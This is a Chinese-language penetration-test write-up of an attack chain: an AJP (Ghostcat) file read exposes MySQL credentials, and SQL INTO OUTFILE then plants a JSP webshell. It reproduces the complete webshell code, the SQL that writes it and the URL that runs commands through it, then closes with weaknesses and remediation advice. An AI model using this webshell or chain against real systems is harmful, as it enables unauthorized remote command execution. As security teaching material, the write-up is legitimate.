未授权访问漏洞的利用链:一口气到getshell的实践
字数 1651 2025-08-29 22:41:38
未授权访问漏洞利用链实战:从AJP任意文件读取到GetShell
一、漏洞利用背景
本案例记录了一个完整的渗透测试过程,从发现未授权访问漏洞开始,通过AJP任意文件读取漏洞获取数据库凭证,最终实现GetShell的全过程。目标系统为公司内部系统,测试已获得授权。
二、漏洞利用详细步骤
2.1 初始信息收集
- 端口扫描:
- 使用Nmap扫描发现目标运行Windows Server 2008
- 开放了8009端口(AJP协议)
- 系统较老,可能存在MS17-010(永恒之蓝)等漏洞
2.2 AJP任意文件读取漏洞利用
-
漏洞验证:
- 使用AJP任意文件读取POC验证漏洞存在
- 通过漏洞读取服务器上的敏感配置文件
-
获取数据库凭证:
- 从配置文件中发现MySQL数据库账户:
mysql:password
- 从配置文件中发现MySQL数据库账户:
-
数据库权限检查:
- 登录MySQL数据库
- 检查FILE权限:
SELECT * FROM mysql.user WHERE File_priv='Y' - 检查
secure_file_priv设置:SHOW VARIABLES LIKE 'secure_file_priv'- 必须为空或指定目录才能写入文件
2.3 通过数据库写入WebShell
-
写入WebShell:
- 确认有写入权限后,执行SQL语句写入JSP木马:
SELECT '<%if("pass".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>' INTO OUTFILE 'D:/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/shell.jsp'; -
WebShell验证:
- 访问
/shell.jsp?pwd=pass&cmd=whoami - 确认执行系统命令成功
- 访问
2.4 目录爆破补充利用
-
改进目录爆破:
- 使用dirsearch工具时添加
-r参数进行递归爆破 - 发现新的文件上传接口
- 使用dirsearch工具时添加
-
获取绝对路径:
- 通过上传接口的提交按钮意外获取网站部署绝对路径:
d:\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\
- 通过上传接口的提交按钮意外获取网站部署绝对路径:
三、漏洞利用成功确认
- 通过写入的WebShell执行系统命令
- 确认获得的权限级别很高,无需进一步提权
四、系统安全弱点分析
外部可见问题:
-
信息泄露:
- 报错信息暴露敏感路径
- 系统版本信息暴露
-
认证缺陷:
- 缺乏口令强度机制
- 无防爆破机制
-
逻辑漏洞:
- 存在越权访问漏洞
内部安全问题:
-
权限配置不当:
- 数据库和网站权限过高
-
漏洞修复滞后:
- 存在2020年的老漏洞未修复
-
防护措施缺失:
- 未部署EDR(终端检测与响应)、HIDS(主机入侵检测系统)等防护工具
- 简单的木马无需免杀即可执行
五、修复建议
-
AJP协议安全:
- 禁用或限制AJP协议访问
- 更新Tomcat到最新版本修复AJP漏洞
-
数据库安全:
- 修改默认数据库密码
- 限制数据库账户权限,移除不必要的FILE权限
- 设置
secure_file_priv为NULL或严格限制的目录
-
系统加固:
- 升级老旧操作系统(Windows Server 2008)
- 及时安装安全补丁,特别是MS17-010等严重漏洞
-
应用安全:
- 隐藏敏感错误信息
- 实现严格的权限控制
- 对上传功能进行严格限制和过滤
-
安全监控:
- 部署EDR和HIDS等防护工具
- 建立文件完整性监控
- 实施Web应用防火墙(WAF)
-
安全开发:
- 修复代码中的逻辑错误
- 实施安全编码规范
- 进行定期的安全代码审计
六、技术要点总结
-
AJP协议利用:
- AJP(Apache JServ Protocol)是Tomcat与Web服务器通信的协议
- CVE-2020-1938(Ghostcat)等漏洞可导致任意文件读取
-
数据库写Shell条件:
- 需要数据库账户有FILE权限
secure_file_priv不能设置为限制写入- 需要知道网站绝对路径
-
WebShell设计:
- 示例中使用的是密码保护的JSP WebShell
- 通过参数
pwd验证,cmd执行系统命令
-
目录爆破技巧:
- 递归爆破(
-r参数)可发现深层目录 - 结合其他信息泄露可提高成功率
- 递归爆破(
本案例展示了如何将多个漏洞串联形成完整的攻击链,强调了纵深防御和安全配置的重要性。